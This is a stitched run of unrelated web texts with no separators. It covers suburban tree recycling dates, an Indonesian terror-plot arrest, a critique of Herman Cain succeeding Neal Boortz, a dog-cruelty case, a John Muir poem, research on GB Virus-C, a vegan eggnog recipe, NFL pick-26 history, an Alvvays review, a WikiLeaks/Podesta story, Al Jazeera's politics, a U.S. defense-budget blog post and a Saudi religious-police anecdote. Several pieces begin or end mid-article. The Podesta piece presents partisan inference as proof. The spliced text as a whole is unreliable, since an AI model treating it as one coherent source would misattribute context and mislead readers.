Drop-off only Drop-off and free mulch pickup (through Jan. 21)
Suburban tree recycling
Location Operation dates Details Arlington Heights Jan. 3 through Jan. 14 Trees can be picked up for free -- no landscape waste sticker required -- on regularly scheduled landscape collection days. Live garlands and wreaths can be placed outside for pickup. Bags of late-falling leaves and branch bundles can be placed at the curb with Christmas trees. Stickers are required on all bags and bundles. Aurora Jan. 9 through Jan. 20 Residents can put trees out for free curbside pickup on regular trash days. Wreaths and garland will not be collected as recycling and must be stickered as trash. Residents can have trees picked up after that two-week window, but they will require a sticker. Elgin Dec. 26 through Jan. 13 After Jan. 13, each Christmas tree will require one refuse sticker in order to be collected. Elmhurst Jan. 1 through 14, beyond Christmas trees will be picked up without a refuse sticker if placed at the curb on your regular refuse collection day during the first and second week in January. After that, a sticker is required. All ornaments, lights, and nails must be removed. Trees may not be placed in plastic bags. Evanston Dec. 27 through Jan. 27 All trees should be placed on the parkway, in between the street and the sidewalk. Trees will be picked up on the same day of the week as residents' normal refuse and recycling collection. Lombard Jan. 3 through 13 Trees free of tinsel and decorations will be collected curbside on normal refuse collection days at no charge. Treesalways should be placed behind the curb so as to not impair snow plowing. Naperville First two weeks of January on regular garbage collection day Tree should be placed at the curb for pickup. All lights, ornaments and tinsel have to be removed. Oak Brook First two collections in January Clean Christmas trees (free of all ornaments, lights, tinsel, flocking, etc.) will be collected separately at the curb on the first two collection days after Jan. 1. No sticker is required for Christmas trees during these two collections. Orland Park The first two weeks in January on scheduled garbage collection days Christmas trees taller than 6 feet need to be cut into sections no longer than 4 feet long. Villa Park Jan. 9 through 20 Christmas trees will be picked up from curbs during the second and third weeks of January for recycling. Ornaments, lights, wiring and decorations must be removed. Remove plastic bags and any string or wires used to move the trees to the curb. Wheaton Through the week of Jan. 9 Trees will be collected at the curb for free recycling during the weeks of Jan. 2 and Jan. 9, 2017. Trees must be free of decorations and not placed in a plastic bag. After the collection period, five garbage/organic stickers per tree are required for collection. These details are revised from the dates originally announced in the December City Newsletter.
Note: Suburban data as of Jan. 4
Sources: Chicago Department of Streets and Sanitation, Tribune reporting
SINGAPORE: Indonesian authorities have arrested six terror suspects, including the group leader who had plans to fire a rocket from Batam in an attack on Singapore’s Marina Bay.
The men, aged between 19 and 46, were arrested at various locations across Batam. A stash of weapons was found at one of the locations, a housing complex, according to Indonesian media reports.
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The six were allegedly from terrorist group KGR@Katibah GR - whose ringleader Gigih Rahmat Dewa, 31, is said to be behind the plot to attack Marina Bay.
The other five suspects are: Trio Syafrido, 46, a bank employee, and factory workers Eka Saputra, 35; Tarmidzi, 21; Hadi Gusti Yanda, 20; and M Tegar Sucianto, 19. The group is suspected of harbouring two Uighurs, according to Indonesian police.
“Yes, there were indeed plans for the attack. But the plans did not materialise,” Indonesian national police spokesperson Boy Rafli Amar was quoted in reports as saying.
The plan to fire the rocket missile from Batam was hatched with the help of Bahrun Naim, an Indonesian fighting for Islamic State in Syria, reports said. Bahrun is believed to be one of the masterminds of an attack in January in central Jakarta, in which eight people were killed including the four attackers.
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(Photo: Facebook/Rauf Utami)
Gigih Rahmat is suspected of receiving and channelling funds for radical activities sourced from Bahrun.
Mr Boy Rafli said police had yet to determine the motive behind the plot or when the suspects were planning to launch the attack with rocket missiles - evidence of which has not been found.
The suspects are currently being investigated at special counter-terrorism squad Densus 88's headquarters for their involvement in Islamic State's Indonesian terror network.
SINGAPORE "AWARE" OF TERROR PLOT
In response to media queries, Singapore’s Ministry of Home Affairs (MHA) said it is aware of the attack plan and has been working with the Indonesian authorities since the discovery of the plot.
“Our security agencies have been coordinating closely with the Indonesian authorities since the discovery of this attack plot, to monitor the activities of the group and to apprehend those involved. We are grateful for the good cooperation by the Indonesian authorities and their actions to apprehend the group,” the ministry said.
The Singapore police and other agencies have stepped up inland and border security measures in response to this threat and the “prevailing security situation”, MHA added.
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Wags who predicted that Herman Cain was really running for a talk show sinecure during his farcical presidential have just been vindicated. The popular conservative talk radio host Neal Boortz announced on Monday that he is retiring and that Herman Cain, the former restaurant executive who briefly led the Republican presidential field, will replace him. According to the press release on Boortz’s website, “[Boortz’s] last day hosting The Neal Boortz Show, which premiered on News/Talk WSB in 1993 and now airs on more than 200 radio stations with six million weekly listeners, will be January 21, 2013.” That, of course, is Inauguration Day. “If it’s Barack Obama, then I’m going to disappear into the mountains and come out after he has destroyed this country. If it’s Mitt Romney, we’ll start drinking as the show begins,” Boortz said on his Monday program. Ad Policy
Cain offered fulsome praise for Boortz, saying in a statement, “Neal has spent his career as a bold, vocal advocate of what is right in this world and condemning that which is not. I promise the torch Boortz is handing off to me will blaze as bright, as bold, and as loud as ever. Also, I am ecstatic that Neal has kept the radio host’s chair warm for me all these years. He may be ‘The TalkMaster,’ but Neal’s listeners know I’m the ‘The Dean of the University of Common Sense.’ ”
It is ironic that Boortz has chosen an African-American successor, given that he has a long history of overt professional racism. Before he got into broadcasting, Boortz worked as a speechwriter for Georgia Governor Lester Maddox, an ardent segregationist. Maddox first gained political prominence by chasing African-American would-be patrons out of his restaurant with a handgun. In 1976 Maddox challenged his nemesis Jimmy Carter for the presidency by running on George Wallace’s former American Independence Party line. Time called Maddox a “strident racist.”
On his Atlanta-based radio show, Boortz has frequently indulged in vulgar race baiting. In a 2009 disquisition that would have made Maddox proud, Boortz called for removing the voting rights of certain recipients of government aid. “Everybody still living in a hotel or a trailer after Hurricane Katrina: no votes,” he declared. “Can’t vote again ever, ever. Nobody living in Section 8 housing should be allowed to vote.” Boortz seems to harbor a particularly strong antipathy for Katrina victims. As Media Matters reports, in 2008, “Boortz made disparaging remarks about Hurricane Katrina victims, stating, ‘When these Katrina so-called refugees were scattered about the country, it was just a glorified episode of putting out the garbage.’ Boortz also described New Orleans as ‘a city of parasites, a city of people who could not and had no desire to fend for themselves.’” In 2006, Media Matters noted a sexist and racist attack Boortz made against Representative Cynthia McKinney (D-GA). “Boortz said that McKinney’s ‘new hair-do’ makes her look ‘like a ghetto slut,’ like ‘an explosion at a Brillo pad factory,’ like ‘Tina Turner peeing on an electric fence,’ and like ‘a shih tzu.’”
Cain will make an interesting replacement for Boortz in other ways as well. Whereas Boortz delivers his curmudgeonly assertions in an angry, dyspeptic growl, Cain puts a happier, more comical face on hard-right conservatism. Their politics are not identical. According to a slobbering, wholly uncritical profile from Monday’s Atlanta Journal Constitution, “Younger listeners have no way of knowing, but Boortz has actually mellowed over the years.” Boortz claims to be a libertarian who has given up his “doctrinaire” social conservatism. He says he has no problem with gay marriage. Clearly, race is an exception to Boortz’s supposed mellowing, although Boortz’s record of making racially inflammatory remarks is not mentioned in the Atlanta Journal Constitution story. Cain adheres to all the mainstream socially conservative bigotries, including those against equal rights for gays and lesbians.
Cain has previously hosted his own radio show on the same Atlanta station as Boortz, and he currently appears twice weekly as a guest on Boortz’s show and has served as a guest host for Boortz in the past.
Cain’s path to media stardom has become a regular feature of modern Republican politics. Just as Mike Huckabee skyrocketed to the top of the Republican presidential pack in 2008 on the strength of his affability and cockamamie tax plan, so did Cain. And just as Huckabee has a talk show, now so too does Cain. And if you think Cain—who repeatedly demonstrated an alarming lack of knowledge or even respect for knowledge on important global issues during the campaign—is unqualified to be a prominent political commentator, just look at the ranks of conservative talking heads he joins: former disc jockeys like Rush Limbaugh and political celebrities like Sarah Palin.
Brendan Evans, 31, faces a charge of aggravated animal cruelty. Police officers said he had claimed to be a voodoo priest and said that he believed it was his religious right to kill a duck if he wanted.
In his refrigerator, Hollywood detectives found rats with their scalps removed, cat paws and blood. There was an 8-pointed star on a kitchen wall, and a shrine with candles for the "Duke of Hell." He had a Crime Stoppers' flyer showing a picture of Ollie ripped in two.
"We were all pulling for Ollie to survive, but unfortunately he didn't make it," Acting Chief Chris O'Brien said in a statement. "However, due to our investigation, we are no able to provide justice for Ollie."
Some animal activists recognized Evan Wednesday night. They had been searching for evidence of reports that he had been sacrificing kittens. They used social media to distribute his photo anonymously earlier this year.
Miranda Grossman, a spokeswoman for the department, said detectives searched Evans' apartment at 1935 Lee St., on Nov. 14. It was about a month after a couple saw a dog's paw was sticking out from the suitcase and called police.
Officers rushed Ollie to the VCA Hollywood Animal Hospital, where veterinarians learned he had been stabbed more than 50 times. Animal lovers from all over the world pulled together to help Grateful Paws Dog and Cat Rescue to raise funds to help Ollie survive the vicious attack.
When Ollie died at the VCA Hollywood Animal Hospital two days later, animal lovers were waiting for justice in the case. Linda Ream, a spokeswoman for the hospital, said Ollie remained friendly and sweet until his last day.
"When he died, there were tears," Ream said.
Detectives linked Evans' DNA to the suitcase where Ollie was found Oct. 10. Evans, who had a history of domestic violence, had been on probation for a bank robbery in Hernando County and detectives linked his fingerprints to a residential burglary.
"He was taken into custody for the burglary and violation of probation," Grossman said.
After detectives found evidence linking him to the crime, Evans was charged in the animal cruelty case while in custody. He remained at Broward County Jail Wednesday night. The Facebook account he was using before his arrest was "inactive."
You are John Muir
You lost your sight, one month later you regained it.
You vowed to turn your eyes to the woods and fields.
Thus began your Wanderlust.
Yosemite claimed you, became your home.
Inspiration from waist high wildflowers,
you had an unbounded love of Nature.
It was where you could travel with no 'baggage'.
Your voice helped make Yosemite, Sequoia, Mt. Rainer,
Petrified Forest, and the Grand Canyon National Parks.
"Climb the mountains and get their good tidings," you said.
President Theodore Roosevelt camped with you.
His innovative conservation programs
were influenced by your passion.
You helped found the Sierra Club and after your death,
your legacy to protect our wild places continued.
You brought the wanderlust for the wild, to the forefront;
made it something for all of us to attain.
"The mountains are calling and I must go."
The wilderness was your teacher,
her allure your life's song.
Nature beckons us into her beauty and peace.
The National Parks provide a refuge, an Eden of sorts,
clearing our minds; directing our thoughts.
Who we are is found when we allow the quiet of
the wild to bring light into the dark parts of our lives.
You are John Muir: "John of the Mountains."
Enlarge this image toggle caption Stephen Gire/AP Stephen Gire/AP
Viruses are usually thought of as the bad guys — causing everything from Ebola and AIDS to hepatitis and measles. But scientists have been following the curious story of a particular virus that might actually be good for you.
The virus is called GB Virus-C, and more than a billion people alive today have apparently been infected with it at some point during their lives, says Dr. Jack Stapleton, an infectious disease specialist at the University of Iowa.
At first, the scientists who named the virus thought it caused hepatitis in a surgeon (whose initials were "GB"). But it turns out the virus actually came from a small monkey — a marmoset — that had been used in an experiment to diagnose the surgeon. GBV-C had nothing to do with the surgeon's illness, but that serendipitous finding has led researchers on a globe-trotting investigation of the life and times of this microbial hitchhiker.
Some studies in recent years have hinted that persistent infection with this virus might slow disease progression in some people infected with HIV — leading Stapleton to suggest that maybe the "GB" in the virus's name should stand for Good Boy.
The latest chapter in this saga involves Ebola.
In a widely reported study last summer, Pardis Sabeti, a computational biologist at Harvard, collaborated with colleagues who collected plasma from Ebola patients in West Africa (at great personal expense to the scientists — five of them died while carrying out this research). Sabeti's team sifted through that material looking for RNA (the genetic material in Ebola viruses). And they posted the genetic sequence of all the RNA they found in a public database at the National Institutes of Health.
Enlarge this image toggle caption Stephen Gire/AP Stephen Gire/AP
David O'Connor, a pathology professor at the University of Wisconsin in Madison, realized that digital treasure trove might also include information about GBV-C. And sure enough, he found the genetic fingerprints of that virus in the records of 13 samples of blood plasma from the Ebola study. Though six of the 13 people who were co-infected with Ebola and GBV-C died, seven survived.
Had the GBV-C virus helped to improve the odds of the Ebola patients who survived? The numbers studied are far too tiny to know. But the question is worth pursuing, say O'Connor and his colleagues in their description of the work, published in the February issue of the Journal of Virology.
"We're very cautious about over-interpreting these results," O'Connor tells NPR. He's now waiting to get a bigger sample, to see if there really is a strong connection between GBV-C infection and survival. It could simply be that people ages 20 to 40 are more likely to be infected with GBV-C — and more likely to survive Ebola.
But there is a theoretical reason why the virus might be helpful: It infects a type of white blood cell, and (when an infection is active) it apparently damps down part of the immune system. With HIV, the thought is that the virus helps reduce inflammation, and that in turn helps slow the onset of AIDS.
"It's not severe — it's not enough that it makes people immune-suppressed," Stapleton says, "but it does reduce the inflammatory response of immune cells."
Hypothetically, this virus might also reduce inflammation in some people fighting off a roaring Ebola infection. "It's something you would predict," Stapleton says. "Although often what you predict doesn't happen, so I wouldn't have predicted it." But if that's the case, perhaps drugs that act in a similar manner would help as well.
And beyond the possible implications for HIV and Ebola, O'Connor says, "we're getting to some of these greater questions about ... other situations where this might be beneficial."
There's been some talk about deliberately infecting people with GBV-C in instances where doctors want to turn down the immune system. "That might be something worth testing in a clinical trial," O'Connor says.
"The thinking is," he says, "this infects hundreds of millions of people around the world today; we knowingly transmit it in blood transfusions. It's essentially a safe virus."
But it may not be entirely harmless.
Last October, Stapleton and collaborators at the National Institutes of Health published a study suggesting that people with a cancer of the lymphatic system, non-Hodgkin lymphoma, were more likely to be infected with GBV-C. If the virus actually increases the risk of this disease, it must be by only a small amount; having the virus is much more common than having the cancer.
Again, the evidence of a cancer link is only suggestive. "If it turns out there is actually a risk for cancer, that would provide another reason to find out more about this virus," O'Connor says.
"We always have a bias," he says — assuming that viruses are bad for us. "But now, with new technologies, we're finding there are viruses like GBV-C ... that don't seem to cause disease."
How many more viruses like this might be lurking?
"I actually think it's not that many," Stapleton says, "and I wouldn't have said that 10 years ago." Because the technology that helped identify this virus in Ebola blood samples is so powerful, he reasons, it should also reveal other lurking viruses — if they're there — in similar studies of human tissue.
The first big hurdle to making the perfect vegan nog, was recreating that unique mouth feel that you generally only get from heavy cream and egg. The reason why you find those two ingredients in so many classic styles of cocktail, such as Flips & Alexanders, is because their high fat content gives a body and texture that is impossible to replicate —well almost impossible to replicate.
My initial instinct was to substitute the texture of the missing dairy with a cream liqueur. That should be an easy fix, right? Just toss a little bit of rum in there & boom the cocktail will take care of itself. If only it was that easy. Apparently, there is a complete dearth of dairy-free cream liqueurs on the market. However, after doing some quick research I found that Bailey’s Irish Cream had recently put out an Almond Milk Liqueur, so naturally, I made a quick trip to my local liquor store and picked up a bottle to play with.
If you take one thing from this article, please let it be this: do not put Bailey’s Almond Milk Liqueur in your mouth —or any other opening in your body for that matter. It is terrible. And, I don’t mean “guilty pleasure” terrible, I mean that it is absolutely foul & I have no idea how it even made it to market.
With one strike down, I knew that I had to step up my approach and not look towards an easy fix. Instead, I went deep down the rabbit hole of vegan message boards and searched hard for egg & cream substitutes. I figured that someone else had already solved this issue before, and I was in luck, because it look like plenty of other people already had, in the form of coconut.
Coconuts are high in fat content, and are already very tasty, so I shouldn’t be bumping into any issues with unpleasantness or any off-putting aromas. Coconut seemed like the perfect solution, as it is cheap, plentiful & easy to find. The only downside was that everything I made with it took on a tropical lean, no doubt due to the delightful and lush flavor of the coconut.
Now don’t get me wrong, I love a good Cocoquito, but that is not what I was trying to create here. Instead, I was trying to emulate a down-home holiday nog that called back to the feeling of sitting around the fire and all of the winter flavors that came with it.
My last option, and probably where I should have started, was milk alternatives such as oat, rice and almond. The trick was to find one with a high enough fat content that it could cover that ground between a milk and a heavy cream. After cleaning out my local grocery store of every milk substitute I could get my hands on, I finally ended up going with a blend of cashew & almond milk made by Silk.
The blend of almond milk and cashew milk, came packing a hearty 8 grams of fat per cup, which is exactly what we needed if we were going to evoke the creaminess of a winter nog. However, the correct viscosity did not start and stop with the nut milk. The proper texture could only be achieved properly if the remaining ingredients could build on the fatty foundation laid down by the base.
In order to maximize the mouthfeel of the nog, we hit it with with two ingredients renowned for bringing body to a cocktail, Carpano Antica Sweet Vermouth and Falernum, a Caribbean spiced liqueur. However, while liqueurs are great and all, we couldn’t forget the heart of the cocktail, and for this we used a mixture of rum and cognac, both of which work beautifully in holiday cocktails.
Although, this cocktail is going to be on the menu at my bar Raised by Wolves starting this week, and it took me weeks to perfect, I wanted to be sure to share it with all of you, so that no one is left out of the holiday festivities and everyone is able to indulge in the holiday decadence.
I strongly recommend sticking to this exact recipe the first time that you make it, but on the second go around, feel free to switch it up a bit. I can guarantee you that it is delicious with Irish Whiskey or Bourbon instead of Aged Rum, so why not switch it up. With that said, happy holidays to you and your family & cheers!
THE BEST VEGAN EGG NOG EVER
375ml Aged Rum (I used Appleton Estate Signature Blend)
125ml Cognac
375ml Sweet Vermouth
125ml Falernum (we used Velvet Falernum)
20ml Allspice Dram (we used St Elizabeth Allspice Dram)
85ml Maple Syrup (use the real stuff. None of this Mrs. Butterworth crap)
Many others at pick 26 cannot say the same thing.
With the Seahawks again set to pick 26th overall, and probably mulling over trade scenarios already, it’s worth some research time to see which other players have gone 26th overall in the draft. The pack ranges to some good, some bad, and as the headline spoils, some Ray Lewis’s, but pick 26 has brought forth some of the league’s most useless players of recent memory. Let’s pop a squint at those players right now:
2013-2015: Eight combined starts
The three picks prior to Lynch were Datone Jones (Packers), Marcus Smith (Eagles), and Breshad Perriman (Ravens). Jones, a defensive end out of UCLA, has nine sacks in four seasons and was moved to outside linebacker. Smith has been exceptionally more awful with 18 tackles in three seasons and four sacks. Some claim that Smith has simply been misplaced in a system that doesn’t work for him, and maybe that’s true, but he’s been about as unproductive as any first round pick of the last three years save for injury.
Injuries will go into account for Perriman, who missed all of his rookie season but returned to play in 16 games with Baltimore last year, catch 50% of 66 targets for 499 yards and three touchdowns.
2000-2012: Some great, some awful
The highlight of this era easily focuses on linebacker Clay Matthews, who the Green Bay Packers selected out of USC (under Pete Carroll) in 2009. Matthews has made six Pro Bowls and might be a Hall of Fame player if he can squeeze in one or two more All-Pro seasons before retirement. The pickings at 26 get a little more slim after that though.
Offensive tackle Duane Brown (Houston Texans, 2008) has made three Pro Bowls and that’s exactly the offensive lineman Seattle hopes to find this year. Dan Williams, Lito Sheppard, and Anthony Spencer are all good players in their own right. Then it gets kinda rough.
Of the rest of the group, only Kwame Harris and Chris Spencer (Seahawks, 2005) were starters. Then you’ve got Erik Flowers, Jamar Fletcher, Chris Perry, John McCargo, and Jonathan Baldwin, all of whom didn’t become NFL starters. That means that the average outcome for pick 26 is something like Harris or Spencer, which becomes especially pertinent info given the desire for the Seahawks to pick an offensive lineman in the first round this year.
Pre-2000: Ray Lewis and then ... some
The greatest 26th overall pick of all-time would deserve a spot on the roster of “The All-Time All-Pros” as the Baltimore Ravens selected Lewis 26th overall in 1996. Lewis’ availability at 26 had something to do with his size and ability to snuff out inside running plays but he proved to be one of the greatest draft picks of all-time regardless of position. Could anyone in this year’s class fall into that type of category? Perhaps but it won’t really be known until the combine, and the draft, fall into place. Early reports suggest that maybe someone like left tackle Garrett Bolles or linebacker Haason Reddick could be late-first round steals but we don’t know yet if they’ll even be available that late or if they’ll be steals.
Other good 26th overall picks prior to 2000 include guard Alan Faneca, defensive tackle Dana Stubblefield, defensive end Robert Porcher, center Dan Mosebar, guard Kent Hill, guard Joe DeLamielleure, and several more. The many busts include quarterback Jim Druckenmiller, nose tackle Ted Gregory, running backs Reggie Dupard and Steve Sewell, and more.
Like any mid-to-late twenty-something, Rankin feels lost, floating between relationships, jobs, and parties, only finding salvation in pop culture and her self-deprecating sense of humor. Her lyrics glide between multi-layered metaphors about wanting to truly get to know someone else (“When I chip through your candy coating you’re stuffed with insulation / Just strawberry ice cream floating with a sprinkle indignation” on “Plimsoll Punks”) and fantasies about running into Jesus & Mary Chain’s Jim Reid and then proceeding to do LSD on a picnic bench (“Lollipop (Ode to Jim)”).
But throughout all of the “What’s left for you and me?” are-we-or-aren’t-we questions throughout Antisocialites, Alvvays haven’t lost their knack for writing concise indie pop songs that rival the best of Camera Obscura or Belle & Sebastian. By adding a warm synth sheen for their sophomore release, the Toronto-based quintet managed to somehow make their jangly guitars seem even lusher. They’ve achieved what every band strives for on their second album but most fail to do: striking the middle ground between attempting to avoid making the same record twice and wanting to evolve and change their sound.
By just subtly tweaking their songwriting process ever so slightly, Alvvays have managed to one-up their 2014 breakthrough record. “Plimsoll Punks” plays like a fuller, more tightly wound version of Alvvays’ “Next of Kin;” “Dreams Tonite” is a supercharged, groovier take on “Ones Who Love You.” Antisocialites feels like Rankin & co. dissected every minute detail from their debut and subsequently took three meticulous years to figure out how to truly improve upon each part, one by one.
Those small flourishes – a more pronounced synth line here, an unexpected key change there – haven’t distracted from what makes Alvvays great, they’ve only made the group’s overall sound even better. The focus is, and likely always will be, on Rankin’s blasé and ultra-clear voice and the near-perfect guitar tones that prop her up. Everything new on Antisocialites simply amplifies the Alvvays we’re already familiar with. They’re not adding much to the already solid formula, but they refuse to stand still, pushing themselves both musically and lyrically.
An email released by WikiLeaks on Wednesday morning appears to prove Clinton campaign Chairman John Podesta created a holding company in order to conceal his interests in an energy company with deep ties to the Putin regime.
Two weeks ago, a leaked email also published by WikiLeaks first revealed that Podesta transferred his holdings in the Putin-linked company Joule Unlimited to a private holding company — Leonidio LLC — upon joining the Obama administration.
“Podesta began taking steps to hide his interests in Joule [on] his second day as an Obama administration official.”
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“The disclosure that Clinton Chair John Podesta transferred his shares in Putin-backed Joule Unlimited to an anonymous holding company when he joined the Obama Administration is extremely concerning,” the Trump campaign said in an official statement at the time. “Because the holding company is completely anonymous, we do not know whether or not he still has deep financial ties to Vladimir Putin and his regime.”
Last week, Breitbart reported that WikiLeaks released an email detailing the transfer of Joule stock to Leonidio and listing Megan Rouse — Podesta’s daughter-in-law — as a managing member of Leonidio. Her address is also listed as the address for Leonidio, proving Podesta’s ties to Russian interests were not severed when he joined the Obama administration.
Now, WikiLeaks has published what could be the “smoking gun.” The email released on Wednesday is an invoice — aptly titled “Government Ethics Matters” — sent to Podesta in March 2014 from international law firm Steptoe & Johnson LLC for their services in creating Leonidio LLC. It shows Podesta began taking steps to hide his interests in Joule [on] his second day as an Obama administration official.
An August report by the Government Accountability Institute found that Podesta failed to disclose his full involvement with Joule Unlimited before joining the Obama administration — nor did he disclose the full extent of his interests in Joule in his federal disclosure, listing only two of the three Joule boards on which he sat. The report further notes that “in his 2014 federal government disclosure filing, Podesta lists that he divested stock options from Joule.”
Divesting from shares in companies that could provoke conflicts of interest is standard practice for private individuals going into government. Indeed, when Dick Cheney became vice president, his shares in Halliburton were transferred to a blind trust.
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Transferring one’s shares to a “private” holding company which one owns and which lists one’s daughter-in-law as a managing member, however, in no way removes conflict of interest.
Another email published by WikiLeaks on Wednesday reveals a friend of Podesta’s begged him to disassociate himself from Clinton’s campaign. “You represent a client that is not honest and is most likely criminal. Hillary and Bill are not worth trying to defend as they are manipulative and they use people,” wrote Joe Littlefield in April 2015.
Despite the headaches it caused, Al Jazeera’s Arabic channel (AJA) was a useful instrument of soft power for a tiny state that once tried to stand apart from both its neighbors and the region’s internecine feuds. Doha used to be a sort of Geneva-on-the-Gulf, the place where everyone went to hash out their differences. It wasn't uncommon to see camouflage-clad Sudanese rebels taking high tea in the lobby of the Four Seasons. Hamas and Fatah, the rival Palestinian factions, signed a reconciliation deal in Qatar. Lebanese leaders did the same in 2008, ending an 18-month standoff in Beirut.
At the start of the Arab Spring, both the emirate and the network shifted gears. They initially backed the uprisings, then narrowed their focus, throwing their support behind the Islamist groups that tried to fill the vacuum. It was a risky bet for Qatar, one that quickly backfired. Within two years, the Islamists had either provoked a backlash in Tunisia and Egypt or found themselves embroiled in ruinous civil wars in Libya, Syria, and Yemen.
There was, and still is, a vast gulf between AJA and Al Jazeera English, which was launched in 2006. They share a name, but little else, even operating out of separate buildings across the street from each other. Their editorial lines are also sharply different. In February 2011, days after Mubarak resigned, citizens of Bahrain started their own anti-government protests, led by the country’s Shia majority, which has long suffered under an official policy of discrimination. Saudi Arabia soon sent troops to help quash the uprising, which Gulf leaders viewed—without any credible proof—as an Iranian plot to undermine a fellow monarch. AJA largely stuck to the official line. The English-language channel was far more critical, and even won a Peabody Award for a documentary on the brutal crackdown. I made several trips to Bahrain myself, and never felt any pressure to change my reporting.
If the United States reduced its defense budget significantly, how would this affect international affairs? I raise this point because one of the primary justifications for America’s disproportionately high level of defense spending is the idea that U.S. military dominance is an essential stabilizing force in contemporary world politics. This argument has been advanced by scholars like William Wohlforth and Michael Mandelbaum, was implicit in Madeleine Albright’s infamous characterization of the United States as the "indispensable power," and runs throughout the Clinton, Bush and now Obama versions of the National Security Strategy. It is also one of those well-established verities that are rarely questioned in the American foreign policy establishment.
Given our current budget situation, however, that assumption really ought to be questioned. The United States spends more on national security than the rest of the world combined, and a substantially larger fraction of its GDP than other major powers do. According to the 2010 edition of the IISS Military Balance, in 2008 the US spent about 4.9 percent of GDP on national security, and the defense budget has grown in real terms by about 3 percent per year since 2001. By contrast, China spent about 1.4 percent of its GDP on defense, Russia 2.4% Great Britain only 2.3 percent , and German and Japan roughly 1.3 percent and 0.9 percent respectively. Lucky them.
Meanwhile, the United States has been piling up impressive amounts of red ink in recent years. The federal deficit reached 10 percent of GDP in FY2009 (the highest level since 1945), and various projections suggest that total U.S debt could reach 80 to 100 percent of GDP by FY2020. (My thanks to Gordon Adams of the Stimson Center and George Washington University, the author of an unpublished paper from which I drew these numbers). This situation led President Obama to form a bipartisan commission to study ways to reduce the federal deficit, and the president and Secretary of Defense Robert Gates have both made it clear that defense spending has to be part of that process.
No doubt defense contractors and congressional hawks will try to insulate DoD from significant cuts, but that position will be politically untenable if other sectors are being slashed. In fact, if we were really serious about trying to close the deficits mentioned above, we’d be looking at cuts similar to the "peace dividend" that accompanied the end of the Cold War. Measured in constant dollars, for example, the DoD budget fell 36 percent in constant dollars between 1985 and 1998, accompanied by comparable reductions in the active-duty force and the Pentagon’s civilian workforce.
So here’s my question: Would similar cuts today produce a dangerous shift in the structure of world politics and invite all sorts of nasty regional instability? I don’t think so. If the U.S. cut defense by 20-30 percent (an enormous reduction), it would still be devoting roughly $400 billion per year to keeping Americans safe. Our national security spending would still be six times larger than China’s, ten times larger than Russia’s and a whopping forty times larger than Iran’s. And because many militarily consequential powers are U.S. allies, its actual position is even better than those crude comparisons suggest. Thus, even seemingly draconian defense cuts would still leave the United States far stronger than any current rivals, especially if the reductions were done intelligently.
Moreover, if you look region-by-region, it’s not obvious that reductions of this magnitude would change things very much. It would have little or no effect on Europe, because a large U.S. presence isn’t central to European security any longer. There’s little danger of serious conflict in Europe these days (and certainly no potential threat that the European states can’t handle), and all that’s needed from the United States is a mostly symbolic presence to help hold NATO together and remind Europeans not to let security competition reignite on the continent. And please don’t try to tell me that Putin’s Russia poses a resurgent threat to the rest of Europe. NATO Europe spends roughly $300 billion on defense each year compared to Russia’s $40 billion; if our European allies can’t handle Russia’s not-very-impressive military, then they don’t deserve U.S. help.
I’d say much the same thing about Latin America and Africa. Although the United States will remain diplomatically engaged with both regions (and maintain various security partnerships with states in each area), it is not likely to undertake major military operations on either continent. The United States could sustain its current level of peacetime activity in both regions with a smaller force structure, and political developments in both places have been and will probably remain largely independent of the size of the U.S. military presence or the level of U.S. defense spending. Put differently, we wouldn’t be able to determine Africa’s political future even if we spent ten percent of our GDP on defense, and major cuts wouldn’t make much difference either.
The Persian Gulf is a different matter, but not as much as one might think. Once the United States is out of Iraq, it will be time to revert to its previous strategy of "offshore balancing." The United States has no need to control these oil-rich regions, it just wants to ensure that no single hostile power does. So long as the Gulf is divided, oil producers will continue to deliver oil to world markets where we can buy it. We can rely on local allies and naval power to preserve our access and influence, and keep a smaller version of the Rapid Deployment Force in reserve should the situation there deteriorate. Fortunately, none of the countries in the Gulf have significant power-projection capabilities, which will make it relatively easy to maintain a stable balance-of-power in the region. Remember: a reduced U.S. budget would still leave the U.S. far stronger than any other country in the world, and it would not herald a return to isolationism. The Gulf still matters, but we would have enough to protect our interests there, particularly if we allocated assets wisely.
East Asia is another place where dramatic U.S. reductions might have noticeable effects over time. America’s ability to act with impunity in areas very close to China (such as the Sea of Japan, or Taiwan) might begin to erode (though it would not disappear overnight), particularly if China built up its own forces rapidly and our Asian allies did nothing in response. What this means, it seems to me, is that we would want to reallocate a larger percentage of defense assets to Asia, thereby mitigating the effects of an overall budget decrease. We also want to devote more attention to nurturing security ties with other states in the region, who are increasingly concerned about China’s rise and should be willing to do more to maintain a balance in the region. Of course, they are more willing to contribute their fair share if they understand that the United States isn’t going to do it all.
And then there’s Central Asia. We’re now spending $100 billion or so each year trying to defeat the Taliban and establish a functioning state in Afghanistan, and there’s no end in sight if we persist in that quest. (That’s why you keep getting reminded that the summer 2011 "deadline" isn’t particularly firm). Getting out of Afghanistan could have significant effects there, but as I’ve noted before, I don’t think it would have particularly significant effects on U.S. security. More to the point, it is far from obvious that investing more money and lives in that mission is going to yield positive long-term effects for U.S security. In other words-and contrary to the Obama administration’s positions — it may not matter very much for us if we win or if we lose. So if reducing defense expenditures also means getting out of the nation-building business there, fine by me.
The bottom line is that major cuts in defense spending might not be nearly as destabilizing as many people think. I’m not saying it would have no effects, but they would be less dramatic than we often assume and in some cases might even be salutary. Don’t forget that continuing to live beyond our means carries ample risks too, as well as sizeable opportunity costs. And if you don’t believe me, just ask our last five-star general.
Of course, this blog post is hardly a systematic study of this issue, and it’s possible that I’m being overly sanguine. The question of how reduced U.S. defense budget would affect world politics cries out for systematic analysis, and it is precisely the sort of topic that our intelligence services ought to be tasked with evaluating, preferably under the guidance of a smart and independent-minded director.
Because there tens of billions of dollars at stake, we know the answers we are likely to get from the Pentagon, or from think tanks that depend on defense contractors for their livelihood. Ideally, an effort to address this question would draw upon the knowledge and expertise of academic experts, journalists with regional expertise, and some members of our diplomatic corps as well.
Disclaimer: I don’t for one second believe that we are going to see defense cuts of the sorts imagined here under the Obama administration, though I think downward pressure will be hard to resist. When that happens, doomsayers will undoubtedly predict disaster if the budget is held flat. If my analysis is right and even drastic cuts would have little impact, then it follows that holding the budget flat would have no negative geopolitical effects at all.
According to the Saudi daily newspaper Al-Watan, troubles for the woman, Khamisa Mohammed Sawadi, began last year when a member of the religious police entered her house in the city of Al-Chamli and found her with two unrelated men, "Fahd" and "Hadian."
Fahd told the policeman he had the right to be there, because Sawadi had breast-fed him as a baby and was therefore considered to be a son to her in Islam, according to Al-Watan. Fahd, 24, added that his friend Hadian was escorting him as he delivered bread for the elderly woman. The policeman then arrested both men.
